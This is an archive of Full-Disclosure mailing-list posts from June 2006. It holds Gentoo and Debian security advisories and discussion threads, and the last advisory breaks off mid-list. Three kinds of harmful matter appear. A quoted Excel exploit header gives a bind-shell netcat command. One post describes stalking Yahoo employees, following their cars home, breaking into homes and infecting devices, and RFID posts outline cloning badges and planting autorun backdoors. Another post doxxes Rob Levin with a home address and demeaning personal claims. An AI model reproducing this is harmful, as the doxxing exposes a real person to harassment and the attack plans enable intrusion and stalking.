[Full-disclosure] [ GLSA 200606-25 ] Hashcash: Possible heap overflow
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200606-25
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: High
Title: Hashcash: Possible heap overflow
Date: June 26, 2006
Bugs: #134960
ID: 200606-25
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
A heap overflow vulnerability in the Hashcash utility could allow an
attacker to execute arbitrary code.
Background
==========
Hashcash is a utility for generating Hashcash tokens, a proof-of-work
system to reduce the impact of spam.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-misc/hashcash < 1.21 >= 1.21
Description
===========
Andreas Seltenreich has reported a possible heap overflow in the
array_push() function in hashcash.c, as a result of an incorrect amount
of allocated memory for the "ARRAY" structure.
Impact
======
By sending malicious entries to the Hashcash utility, an attacker may
be able to cause an overflow, potentially resulting in the execution of
arbitrary code with the privileges of the user running the application.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All Hashcash users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-misc/hashcash-1.21"
References
==========
[ 1 ] Hashcash ChangeLog
http://www.hashcash.org/source/CHANGELOG
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-200606-25.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.
License
=======
Copyright 2006 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [ GLSA 200606-26 ] EnergyMech: Denial of Service
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200606-26
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: Normal
Title: EnergyMech: Denial of Service
Date: June 26, 2006
Bugs: #132749
ID: 200606-26
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
A Denial of Service vulnerability was discovered in EnergyMech that is
easily exploitable via IRC.
Background
==========
EnergyMech is an IRC bot programmed in C.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-irc/emech < 3.0.2 >= 3.0.2
Description
===========
A bug in EnergyMech fails to handle empty CTCP NOTICEs correctly, and
will cause a crash from a segmentation fault.
Impact
======
By sending an empty CTCP NOTICE, a remote attacker could exploit this
vulnerability to cause a Denial of Service.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All EnergyMech users should update to the latest stable version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-irc/emech-3.0.2"
References
==========
[ 1 ] EnergyMech Changelog
http://www.energymech.net/versions-3.0.html
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-200606-26.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.
License
=======
Copyright 2006 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Security Breaches Pandemic (1) links
Al Mac wrote:
> http://www.itjungle.com/tfh/tfh062606-story06.html
>
> http://www.securitypronews.com/news/securitynews/spn-45-20060623DeloitteCallsOutTechFirmsOnSecurity.html
>
> http://www.irishdev.com/NewsArticle.aspx?id=2902
>
> http://www.deloitte.com/dtt/research/0,1015,sid%253D1000%2526cid%253D121102,00.html
> <http://www.deloitte.com/dtt/research/0,1015,sid%3D1000%26cid%3D121102,00.html>Good
> articles here, in which I am merely summarizing some main points.
> Remember that Security Breaches have been occurring for decades. The only
> thing, that is relatively new, is a legal mandate to report them, when this
> affects residents of some USA states, and that is assuming the breached outfits
> even know they been breached. For most of the world, this mandate does not yet
> apply. So what we have recently been seeing in the news, about security
> breaches, is just the tip of an iceberg.
>
The tip of what iceberg? Since "security breach" is never defined, it's
impossible to know what D/T's survey means. Are these actual breakins
to machines? Do they include virus infections? Adware infections?
Phishing attempts? Etc., etc.
Without defining what "security breach" means, it's useless information.
--
Paul Schmehl (paulsutdallas.edu)
Adjunct Information Security Officer
The University of Texas at Dallas
http://www.utdallas.edu/ir/security/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] MySpace - Stupid user security advice that they do not follow
On 6/24/06, Dan B <dan-fdf-box.org> wrote:
> Hi,
> So I was just looking at myspace, hey I don't really want an account,
> just needed to login to look at someones pics. And I noticed that even
> though they advise to check for 'login.myspace.com' in the address bar
> they actually allow login via other subdomains... www1. is the only one
> i noticed. But come on guys if you advise your users to check for a
> certain url, then also have a login form on a different url then what is
> the fscking point of the advice! I know its still a subdomain of
> myspace.com but its not the one you are referring to, gets the user used
> to not checking the url 'cause it ain't correct in the first place!
Myspace uses virtual subdomains, for load balancing, at least;
high-traffic subdomains (groups,forums) don't bog down login and
www/collect.
I'm not saying this is the best way to do this...
But that is pretty silly; I suspect most myspace users would just be
confused by that inconsistency, being that they're probably not too
tech-savvy.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] MS Excel Remote Code Execution POC Exploit
OK, this message inluding MSRC Blog posting #437826 reached our inboxes some minutes ago because of moderating process.
- Juha-Matti
naveed <naveedafzalgmail.com> kirjoitti:
>
> yes i do have confirmed this in a post to bugtraq,the issue is with hlink.dll
>
> On 6/25/06, Juha-Matti Laurio <juha-matti.laurionetti.fi> wrote:
> > It appears that two references mentioned in code posting (see Advisories) are erroneous.
> > Code posting says about error while handling malformed URL strings; i.e. this is vulnerability mentioned at
> >
> > http://blogs.technet.com/msrc/archive/2006/06/20/437826.aspx
> >
> > Let's say so-called 2nd Excel vulnerability reported within a week.
> > This issue is aka Windows hlink.dll vulnerability, see
> > http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3086
> >
> > - Juha-Matti
> >
> >
> > naveed <naveedafzalgmail.com> wrote:
> >
> > /*---------------------------------------------------------------------
> > *
> > * Microsoft Excel Remote Code Execution Proof Of Concept.
> > * Tested against : Excel 2000 on Win XP SP1 , and Win2000 SP4
> > * Description:
> > * Microsoft Excel is prone to a remote code execution issue
> > * which may be triggered when a malformed Excel document is opened.
> > * The issue is due to an error in Excel while handling malformed URL
> > * strings. there may be other ways to trigger this vulnerability,
> > * successful exploitation could allow an attacker to execute
> > * arbitrary code with the privileges of the user running Excel.
> > *
> > * Code execution is dependent upon certain factors including the
> > * overflow condition, the MS Excel version and the host OS and SP.
> > * If you cannot get it to work, attach it with the debugger check
> > * the stack layout and the rest is on your imagination. :) :)
> > *
> > * Compile with MS VC++ or g++ ,it will generate the Excel file
> > * Clicking the link in the file binds the shell ,
> > * C:\nc localhost 4444
> > *
> > * Advisories:
> > * http://www.microsoft.com/technet/security/advisory/921365.mspx
> > * http://www.securityfocus.com/bid/18422/
> >
> > --clip--
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Jython Shell
In the last couple of days I've been doing some Java programming. :)
that was funny, anyway this is a simple jython shell that can run of
the browser. Of course in order to that you have to give jython some
extra privileges but this is not the point.
The purpose of my little experiment is to make python a bit more
modular so I can run my scripts on every machine that has Java
installed (no Java Mobile unfortunately). I am also using the shell to
code python on the fly which is sometimes very handy.
Now, some people may ask why a tool like this is posted on security
mail lists. Well, I guess you don't know python. IMHO python can come
very handy if you know it. It saved the day many times in my
professional career.
If you have any problems with the applet bash me an email. I am kind
of constantly improving it. I am also building a small collection of
security related scripts that will come as a module which you guys can
execute whenever you need.
thanks.
P.S. btw, this is the URL <http://www.gnucitizen.org/projects/jython-shell/>
--
pdp (architect)
http://www.gnucitizen.org
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Attachable devices; corporate networks; yahoo; securityfocus
This stuck out for me today when I opened up Securityfocus, and I
don't usually mention Securityfocus News articles because they are
crimge worthy nearly everyday, although this one today hit a nerve for
me...
I wasn't allowed to say on Securityfocus.com that I thought usb drives
just come under the "wireless" threat. Like laptops, like mobile phone
and other attachable devices, which walk into Sunnyvale. And that the
Securityfocus news article was a "non news". We've been hacking Yahoo
for years by first of all tracking down employees via weblogs (another
threat Yahoo won't listen to us about), where employees are openly
saying their job tlte description and talking about inside yahoo,
(which is a security threat in its self), so we are able to know
we're targeting the right employee. (Plus we are able to target Yahoo
employees because of this http://www.flickr.com/photos/ycantpark
website where yahoo employees take pictures of cars parked outside
sunnyvale, including number plates in full view, so now we know where
exactly employees live. Yahoo security team do not see the flickr
account as a threat to corporate security of data or its employees and
will not shut the web site down. Even though we've e-mailed yahoo
security to tell them that its directly a threat. I won't go into
detail on a public list exactly how these photos can be used, but
think about the 'mind think' of stealing devices (or paperwork) from
that car if its down town away from sunnyvale, or /and/ follow car to
home address of employee... break into home... infect computer, or
steal paperwork, or device. Under normal circumstances a member of the
public cannot stand in a sunnyvale carpark and take pictures can they?
with yahoo employees, the task of the corporate hacker is made easy.).
We then goto hack their weblog, server, and personal home computer.
This is the same home personal computer that they plug in their 'plug
n play devices', including USB, like all other attachable plug n' play
device. We infect that flash drive, laptop, mobile phone, and then
wait for Yahoo employee to walk into the Sunnyvale internal backyard
network, where the employee plugs in their plug n play device. This
allows us to take over complete comtrol of that employees
corporate-side computer, and the enitr entire network that device has
plugged into. It makes no difference if its USB , or a laptop, mobile
phone, the threat is the same. Securityfocus wouldn't let me post
under their article, as they don't believe in freedom of speech, even
though we have killed all over 38,000 civilians (so far) in Iraq for
freedom of speech seems to have gone to waste, and a statistic which i
am personally furious about, especially when I try and post on a
western security news site and i am denied my right to express my
personal opinion.
People we've killed for freedom of speech http://www.iraqbodycount.net/
Securityfocus "News" article about attachable devices
http://www.securityfocus.com/news/11397 which everyone has been
exploiting for years, although Securityfocus think this is news
worthy.
The technique to hack a corporate network has been used for years
using plug n play devices... (Yes, including USB flash memory
sticks...).
Securityfocus didn't research the technique before reporting "Secure
Network Technologies" and how credible that news would be for the
Securityfocus front page readers.
And that was all before the biggest surprise of all, once you open the
article, I was met with a commercial banner at the top of the
Securityfocus website advertisng this:
http://adserver.securityfocus.com/RealMedia/ads/click_lx.ads/www.securityfocus.com/home/1879095141/Top/OasDefault/GFI_05_24_06_Banner/ESEC_BlueUSBstick(728x90).gif/63336263393830653434386663623430
Which then made me think, why am I visiting Securityfocus, they are
just writing up articles depending on what sponsors they have that
month, than actual "news" that people need to know about to security
their corporate network.
Thanks for listening,
n3td3v
Yahoo don't see a computer threat being a real life threat... people
stealing attachable devices / paper work from cars etc. We tried
mailing Yahoo for years about all of the above, they don't listen.
Yahoo, why don't you start taking security seriously, not just a
slogan you give to your Yahoo media relations team to push out to
online news journalists, to look professional. Actually mean what you
say, and secure Yahoo from electronic computer attacks on your
network, which have originated from targeting Yahoo employees via
weblogs, cars in your car park and the home computers of your
employees and the devices (including USB flash memory) they carry in
and out of Sunnyvale everyday.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] UnAnonymizer
A fun browser toy that depends on Java for complete results:
- http://metasploit.com/research/misc/decloak/
-HD
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Camino release 1.0.2 includes several fixes
It appears that there is no advisories published about Camino 1.0.2 release yet.
The newest CVE related to Camino is CVE-2006-1901 (Apr '06).
Vulnerabilities fixed are included to Release Notes document at
http://www.caminobrowser.org/releases/1.0.2.php
User agent (from 3rd party) states the following information about Gecko 1.8.0.4 codebase:
Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.4) Gecko/20060613 Camino/1.0.2
- Juha-Matti
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] The truth about Rob Levin aka Lilo of irc.freenode.net
Yes, Slotto Corleone has returned. However, this is only a message I've been
given to relay to the list:
Eyeballing Rob Levin
Odds are you've at least heard of Rob Levin (aka lilo), the director of
Texas 501(3)(c) corporation Peer-Directed Projects Center. He's been aptly
mentioned in the Register as a "professional online beggar"[1] and the
incompetence with which he runs the Freenode IRC network has been aired many
a time on popular blogs like Slashdot. In the past week, a group of hackers
took over the Freenode IRC network by sniffing lilo's **-bound oper block
password off the wire, a gaping security issue that could have been resolved
via many different means-- an SSL port on a single freenode server for lilo
to use, lilo sshing to a server and IRCing from localhost, or the binding of
his oper block to his home host. This was proof enough for me that lilo is
an idiot that wasn't capable of running an IRC for a small group of friends,
much less one hosting hundreds of open-source projects.
But what of lilo himself? Is he really this benevolent, though sometimes
incompetent dictator he makes himself out to be? After the Freenode fiasco,
I decided to poke around lilo's personal life and get a glimpse of his
character. The results are quite hilarious.
Everyone knows lilo lives in a trailer. He flaunts his existence as white
trash with glee and twisted pride, playing the part of a martyr for the
cause of open source software. He constantly talks about how poor and beaten
down he is, despite having the leisure time to spend eleven hours a day
chatting on the Internet. The address listed on the PDPC.us domain is indeed
a trailer[2]. Poking around the Texas State Comptroller of Public Accounts
shows the truth[3], though. That address is an office to which the business
is registered, and the registered agent is Robert Levin of 9212 Burdine St,
an apartment building in Houston.[4]
For a man who claims to be such a martyr for open source development he has
done almost nothing to advance it. He has never made any notable commits to
open source projects. He has done almost nothing at all. The man is in his
fifties and has nothing notable on his resume -- a long history of manual
labor and office tasks for monkeys. The truth about Rob is that he cannot
code. His support of open source is limited to idly chatting away on IRC.
Rob and his wife both suck at the teat of the federal government by
collecting disability. They both claim to have ADHD so intense that it
prohibits them from holding a job. During the day, they go to the PDPC
trailer to chat on IRC and answer phonecalls. Two disability checks and PDPC
donations add up. Enough to pay for not only a reasonable apartment and the
PDPC trailer, but for a Hispanic nanny to take care of their son and clean
their house during the day.[5] Not only do they not feel it fitting to work
at any task whatsoever, but they can't even raise their child and clean up
for themselves.
Personally I have supported open source with my blood, sweat, and tears. I
work at least forty hours a week in a cubicle much smaller than Rob Levin's
trailer and go home to spend several more hours coding for projects that I
feel are worthwhile. I do this not for personal gain, but to fight against a
system of intellectual property law which I find overzealously rewards the
rich and powerful. I'm not going to mention my name, but a good many of you
know it. I've put commits into major operating systems and household name
daemons.
Lilo is a fraud. He is a huckster that steals money that could be going to
legitimate open source development. There are countless programmers with
real, valuable talent who choose to work hard for the greater good rather
than spending all their time selling their talents to the highest bidder.
Lilo has no talent and epitomizes the kind of vile, undisciplined leech that
I spend my time working against.
To the FOSS world: Do yourselves a favor and move to EFnet, Undernet, OFTC,
anything but Freenode. EFnet now has chanfix and has not been a lawless
packeteer playground for several years. The days of channel wars on EFnet
are over. It also handles three times the traffic of Freenode without major
incident.
Don't believe me about Rob Levin? I pulled all his information from public
record in the past twenty-four hours. Poke around his life and see for
yourself:
[selected information removed]
[1] http://www.theregister.co.uk/2003/01/29/buy_a_piece_of_net/
[2]
http://maps.google.com/maps?f=q&hl=en&q=10000+Main+St,+Houston,+TX+77025&ie=UTF8&ll=29.676278,-95.430105&spn=0.001643,0.002717&t=k&om=1
[3]
http://ecpa.cpa.state.tx.us/coa/servlet/cpa.app.coa.CoaGetTp?Pg=tpid&Search_Nm=Peer-Directed%20Projects%20Center%20&Button=search&Search_ID=32004514421
[4]
http://maps.google.com/maps?f=q&hl=en&q=9212+BURDINE+ST+Houston,+Texas&ie=UTF8&ll=29.677741,-95.481952&spn=0.001643,0.002717&t=k&om=1
[5] I would cite the name, phone and address of the nanny but I do not feel
it fitting that she should be harassed.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Sniffing RFID ID's ( Physical Security )
I was contacted by Eweek recently about previous posts about RFID and how it
is being used at the World Cup and Olympics. This got me thinking a little
more about some previous ideas I have had. I think the real risk is in RFID
access cards.
World Cup and Olympics are / will be using embedded RFID chips in tickets to
ID ticketholders. Upon buying the tickets patrons provide a lot of personell
details-
This is stored in a Database and I suppose a unique ID is assigned to each
ticket holder. Now internal security can identify each ticket holder and do
whatever they want with the data. ( ID terrorists so on, I dont care. )
Risks: Not a lot here-
As long as the ID used on the ticket is unique and not associated with
personell details. An attacker would have to embed an SQL injection into
the RFID ticket or another RFID chip in their pocket to be parsed by the
RFID reader / backend. I have't been involved in many of these systems but I
will bet that input validation may not be built into the SDLC. But overall,
injecting SQL to get a remote connection may be fairly involved and take
several attempts. But deleting the DB may be a lot easier.
My ideas on RFID risk in its current implementation:
I'm thinking a lot of the risk with RFID would be within ID cards and
physical security. I have been in 100's of companies that use RFID ID cards
for physical security to access a building. Just rock up and swipe your
badge in front of the reader right???
What if an attacker was sitting at the cafe downstairs sniffing RFID ( Well,
sending out RFID signals to power the chips and get a response ). Wouldn't
it be trivial to obtain the STATIC ID codes stored on the RFID chips and
write them to a generic chip? THis new card could easily be used to walk
right in to the target company? As we all know.. once your inside it's
trivial to root the entire network. Just insert your usb/ CD with an
autorun backdoor sploit connecting outside OR plug in a small wireless AP.
Go back down to the coffee shop and hack away.
Is anyone addressing this RFID issue for access cards? At MINUMIUM a private
PIN# should be used with this type of ID.
I'd like to hear your ideas / comments.
Cheers,
Joshua Perrymon
CEO
Packet Focus Security Research
www.packetfocus.com
josh.perrymonpacketfocus.com
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Sniffing RFID ID's ( Physical Security )
On 6/27/06, Josh L. Perrymon <joshuaperrymongmail.com> wrote:
> I was contacted by Eweek recently about previous posts about RFID and how it
> is being used at the World Cup and Olympics. This got me thinking a little
> more about some previous ideas I have had. I think the real risk is in RFID
> access cards.
>
> World Cup and Olympics are / will be using embedded RFID chips in tickets to
> ID ticketholders. Upon buying the tickets patrons provide a lot of personell
> details-
>
> This is stored in a Database and I suppose a unique ID is assigned to each
> ticket holder. Now internal security can identify each ticket holder and do
> whatever they want with the data. ( ID terrorists so on, I dont care. )
>
> Risks: Not a lot here-
> As long as the ID used on the ticket is unique and not associated with
> personell details. An attacker would have to embed an SQL injection into
> the RFID ticket or another RFID chip in their pocket to be parsed by the
> RFID reader / backend. I have't been involved in many of these systems but I
> will bet that input validation may not be built into the SDLC. But overall,
> injecting SQL to get a remote connection may be fairly involved and take
> several attempts. But deleting the DB may be a lot easier.
>
> My ideas on RFID risk in its current implementation:
> I'm thinking a lot of the risk with RFID would be within ID cards and
> physical security. I have been in 100's of companies that use RFID ID cards
> for physical security to access a building. Just rock up and swipe your
> badge in front of the reader right???
>
> What if an attacker was sitting at the cafe downstairs sniffing RFID ( Well,
> sending out RFID signals to power the chips and get a response ). Wouldn't
> it be trivial to obtain the STATIC ID codes stored on the RFID chips and
> write them to a generic chip? THis new card could easily be used to walk
> right in to the target company? As we all know.. once your inside it's
> trivial to root the entire network. Just insert your usb/ CD with an
> autorun backdoor sploit connecting outside OR plug in a small wireless AP.
>
> Go back down to the coffee shop and hack away.
>
> Is anyone addressing this RFID issue for access cards? At MINUMIUM a private
> PIN# should be used with this type of ID.
>
> I'd like to hear your ideas / comments.
eh?
surely a RFID would only communicate it's private token with a trusted
(i.e. keyed) source.
like a smartcard ...
> Cheers,
>
> Joshua Perrymon
> CEO
> Packet Focus Security Research
> www.packetfocus.com
> josh.perrymonpacketfocus.com
-- mic
CMLRA, Mirios
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Sniffing RFID ID's ( Physical Security )
Josh L. Perrymon wrote:
> I was contacted by Eweek recently about previous posts about RFID and
> how it
> is being used at the World Cup and Olympics. This got me thinking a little
> more about some previous ideas I have had. I think the real risk is in RFID
> access cards.
>
> World Cup and Olympics are / will be using embedded RFID chips in
> tickets to
> ID ticketholders. Upon buying the tickets patrons provide a lot of
> personell
> details-
>
> This is stored in a Database and I suppose a unique ID is assigned to each
> ticket holder. Now internal security can identify each ticket holder and do
> whatever they want with the data. ( ID terrorists so on, I dont care. )
>
> Risks: Not a lot here-
> As long as the ID used on the ticket is unique and not associated with
> personell details. An attacker would have to embed an SQL injection into
> the RFID ticket or another RFID chip in their pocket to be parsed by the
> RFID reader / backend. I have't been involved in many of these systems
> but I
> will bet that input validation may not be built into the SDLC. But
> overall,
> injecting SQL to get a remote connection may be fairly involved and take
> several attempts. But deleting the DB may be a lot easier.
This was proposed here: http://www.rfidvirus.org/
>
> My ideas on RFID risk in its current implementation:
> I'm thinking a lot of the risk with RFID would be within ID cards and
> physical security. I have been in 100's of companies that use RFID ID cards
> for physical security to access a building. Just rock up and swipe your
> badge in front of the reader right???
>
> What if an attacker was sitting at the cafe downstairs sniffing RFID (
> Well,
> sending out RFID signals to power the chips and get a response ). Wouldn't
> it be trivial to obtain the STATIC ID codes stored on the RFID chips and
> write them to a generic chip?
The tag should only be revoked by a certain reader. Off the counter
readers would be able to revoke simple or non secure tags. If the tag
carries minimal symmetric or asymmetric security it would be hard to
decrypt information. However, would the organizers of WC or Olympics use
encrypted tags? I think they should if they want to stay away from
cloning or sniffing. I have proposed similar attack scenarios in loyalty
cards that are used in grocery stores to steal customer personal
information carried on the card.
Thanks,
Saeed
> THis new card could easily be used to walk
> right in to the target company? As we all know.. once your inside it's
> trivial to root the entire network. Just insert your usb/ CD with an
> autorun backdoor sploit connecting outside OR plug in a small wireless AP.
>
> Go back down to the coffee shop and hack away.
>
> Is anyone addressing this RFID issue for access cards? At MINUMIUM a
> private
> PIN# should be used with this type of ID.
>
> I'd like to hear your ideas / comments.
>
> Cheers,
>
> Joshua Perrymon
> CEO
> Packet Focus Security Research
> www.packetfocus.com
> josh.perrymonpacketfocus.com
>
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Sniffing RFID ID's ( Physical Security )
On Tue, 27 Jun 2006 14:24:35 +1000, mikeiscool said:
> eh?
>
> surely a RFID would only communicate it's private token with a trusted
> (i.e. keyed) source.
>
> like a smartcard ...
Well.. Yeah. That *would* make sense.
Unfortunately, some beancounter would likely realize they can shave $0.02 per
card by doing it the easy way, or that they can save $40K by hiring a
bonehead designer rather than a clued crypto geek.
If all software was actually designed and implemented to the "Surely it would"
standard, most of the people on this list, both black and white hats, would
be unemployed. Fortunately for our collective ability to cover our rent checks,
almost all software has "Surely they *didn't*" flaws in it....
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (GNU/Linux)
Comment: Exmh version 2.5 07/13/2001
iD8DBQFEoLqicC3lWbTT17ARAjwOAKCozvxGgNak+rweOC/H3COg1CPMAQCgj/Dt
k5Zii9gLCwoo7I8ncUHIwjI=
=DuSd
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [SECURITY] [DSA 1103-1] New Linux kernel 2.6.8 packages fix several vulnerabilities
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
- --------------------------------------------------------------------------
Debian Security Advisory DSA 1103-1 securitydebian.org
http://www.debian.org/security/ Dann Frazier, Troy Heber
June 27th, 2006 http://www.debian.org/security/faq
- --------------------------------------------------------------------------
Package : kernel-source-2.6.8
Vulnerability : several
Problem-Type : local/remote
Debian-specific: no
CVE ID : CVE-2005-3359 CVE-2006-0038 CVE-2006-0039 CVE-2006-0456
CVE-2006-0554 CVE-2006-0555 CVE-2006-0557 CVE-2006-0558
CVE-2006-0741 CVE-2006-0742 CVE-2006-0744 CVE-2006-1056
CVE-2006-1242 CVE-2006-1368 CVE-2006-1523 CVE-2006-1524
CVE-2006-1525 CVE-2006-1857 CVE-2006-1858 CVE-2006-1863
CVE-2006-1864 CVE-2006-2271 CVE-2006-2272 CVE-2006-2274
Several local and remote vulnerabilities have been discovered in the Linux
kernel that may lead to a denial of service or the execution of arbitrary
code. The Common Vulnerabilities and Exposures project identifies the
following problems:
CVE-2005-3359
Franz Filz discovered that some socket calls permit causing inconsistent
reference counts on loadable modules, which allows local users to cause
a denial of service.
CVE-2006-0038
"Solar Designer" discovered that arithmetic computations in netfilter's
do_replace() function can lead to a buffer overflow and the execution of
arbitrary code. However, the operation requires CAP_NET_ADMIN privileges,
which is only an issue in virtualization systems or fine grained access
control systems.
CVE-2006-0039
"Solar Designer" discovered a race condition in netfilter's
do_add_counters() function, which allows information disclosure of kernel
memory by exploiting a race condition. Likewise, it requires CAP_NET_ADMIN
privileges.
CVE-2006-0456
David Howells discovered that the s390 assembly version of the
strnlen_user() function incorrectly returns some string size values.
CVE-2006-0554
It was discovered that the ftruncate() function of XFS can expose
unallocated, which allows information disclosure of previously deleted
files.
CVE-2006-0555
It was discovered that some NFS file operations on handles mounted with
O_DIRECT can force the kernel into a crash.
CVE-2006-0557
It was discovered that the code to configure memory policies allows
tricking the kernel into a crash, thus allowing denial of service.
CVE-2006-0558
It was discovered by Cliff Wickman that perfmon for the IA64
architecture allows users to trigger a BUG() assert, which allows
denial of service.
CVE-2006-0741
Intel EM64T systems were discovered to be susceptible to a local
DoS due to an endless recursive fault related to a bad elf entry
address.
CVE-2006-0742
Alan and Gareth discovered that the ia64 platform had an
incorrectly declared die_if_kernel() function as "does never
return" which could be exploited by a local attacker resulting in
a kernel crash.
CVE-2006-0744
The Linux kernel did not properly handle uncanonical return
addresses on Intel EM64T CPUs, reporting exceptions in the SYSRET
instead of the next instruction, causing the kernel exception
handler to run on the user stack with the wrong GS. This may result
in a DoS due to a local user changing the frames.
CVE-2006-1056
AMD64 machines (and other 7th and 8th generation AuthenticAMD
processors) were found to be vulnerable to sensitive information
leakage, due to how they handle saving and restoring the FOP, FIP,
and FDP x87 registers in FXSAVE/FXRSTOR when an exception is
pending. This allows a process to determine portions of the state
of floating point instructions of other processes.
CVE-2006-1242
Marco Ivaldi discovered that there was an unintended information
disclosure allowing remote attackers to bypass protections against
Idle Scans (nmap -sI) by abusing the ID field of IP packets and
bypassing the zero IP ID in DF packet countermeasure. This was a
result of the ip_push_pending_frames function improperly
incremented the IP ID field when sending a RST after receiving
unsolicited TCP SYN-ACK packets.
CVE-2006-1368
Shaun Tancheff discovered a buffer overflow (boundry condition
error) in the USB Gadget RNDIS implementation allowing remote
attackers to cause a DoS. While creating a reply message, the
driver allocated memory for the reply data, but not for the reply
structure. The kernel fails to properly bounds-check user-supplied
data before copying it to an insufficiently sized memory
buffer. Attackers could crash the system, or possibly execute
arbitrary machine code.
CVE-2006-1523
Oleg Nesterov reported an unsafe BUG_ON call in signal.c which was
introduced by RCU signal handling. The BUG_ON code is protected by
siglock while the code in switch_exit_pids() uses tasklist_lock. It
may be possible for local users to exploit this to initiate a denial
of service attack (DoS).
CVE-2006-1524
Hugh Dickins discovered an issue in the madvise_remove function wherein
file and mmap restrictions are not followed, allowing local users to
bypass IPC permissions and replace portions of readonly tmpfs files with
zeroes.
CVE-2006-1525
Alexandra Kossovsky reported a NULL pointer dereference condition in
ip_route_input() that can be triggered by a local user by requesting
a route for a multicast IP address, resulting in a denial of service
(panic).
CVE-2006-1857
Vlad Yasevich reported a data validation issue in the SCTP subsystem
that may allow a remote user to overflow a buffer using a badly formatted
HB-ACK chunk, resulting in a denial of service.
CVE-2006-1858
Vlad Yasevich reported a bug in the bounds checking code in the SCTP
subsystem that may allow a remote attacker to trigger a denial of service
attack when rounded parameter lengths are used to calculate parameter
lengths instead of the actual values.
CVE-2006-1863
Mark Mosely discovered that chroots residing on an CIFS share can be
escaped with specially crafted "cd" sequences.
CVE-2006-1864
Mark Mosely discovered that chroots residing on an SMB share can be
escaped with specially crafted "cd" sequences.
CVE-2006-2271
The "Mu security team" discovered that carefully crafted ECNE chunks can
cause a kernel crash by accessing incorrect state stable entries in the
SCTP networking subsystem, which allows denial of service.
CVE-2006-2272
